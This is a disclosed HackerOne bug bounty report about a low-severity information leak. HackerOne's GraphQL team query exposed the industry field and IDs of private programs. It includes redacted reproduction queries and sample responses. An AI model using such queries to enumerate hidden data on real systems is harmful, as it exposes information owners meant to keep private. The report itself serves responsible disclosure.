HackerOne · Report #707406
Team object in GraphQL disclosed of private programs via the industry
Validstatus
lowseverity
$500bounty
72upvotes
23 Nov 2019disclosed
How it was found
Summary: Disclosure of private programs across the industry
If the program is private, it will show industriy
Steps To Reproduce
{"query": "query {team(handle:\"█████████\"){_id,industry}}"}
{"data":{"team":{"_id":"█████████","industry":"Computer Hardware \u0026 Peripherals"}}}
{"query": "query {team(handle:\"█████████\"){_id,industry}}"}
{"data":{"team":{"_id":"████████","industry":"Computer Software"}}}
{"query": "query {team(handle:\"███\"){_id,industry}}"}
{"data":{"team":{"_id":"████","industry":null}}}
Impact
Disclosure of private programs